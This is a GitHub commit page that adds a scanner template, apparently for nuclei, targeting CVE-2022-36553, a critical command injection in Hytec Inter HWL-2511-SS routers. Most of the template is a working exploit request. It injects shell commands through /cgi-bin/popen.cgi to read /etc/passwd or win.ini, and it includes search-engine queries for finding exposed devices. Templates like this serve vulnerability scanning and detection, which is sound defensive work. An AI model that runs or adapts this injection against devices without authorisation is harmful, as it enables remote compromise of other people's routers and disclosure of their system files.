Merge pull request #8459 from HuTa0kj/dev/cve_2022_36553

Add: CVE-2022-36553
patch-1
Ritik Chaddha 2023-10-29 17:22:49 +05:30 committed by GitHub
commit 900ed111fe
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 58 additions and 0 deletions

View File

@ -0,0 +1,58 @@
id: CVE-2022-36553
info:
name: Hytec Inter HWL-2511-SS - Remote Command Execution
author: HuTa0
severity: critical
description: |
Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-36553
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/cellular-router-rce.yaml
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-36553
cwe-id: CWE-77
epss-score: 0.00103
epss-percentile: 0.41546
cpe: cpe:2.3:o:hytec:hwl-2511-ss_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
zoomeye-query: app:"Hytec Inter HWL-2511-SS"
fofa-query: title="index" && header="lighttpd/1.4.30"
tags: cve,cve2022,hytec,rce
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /cgi-bin/popen.cgi?command={{command}}&v=0.1303033443137912 HTTP/1.1
Host: {{Hostname}}
payloads:
command:
- "cat%20/etc/passwd"
- "type%20C://Windows/win.ini"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
- "contains(body_1, '<title>index</title>')"
- "status_code == 200"
condition: and
- type: dsl
dsl:
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
- "contains(body_1, '<title>index</title>')"
condition: and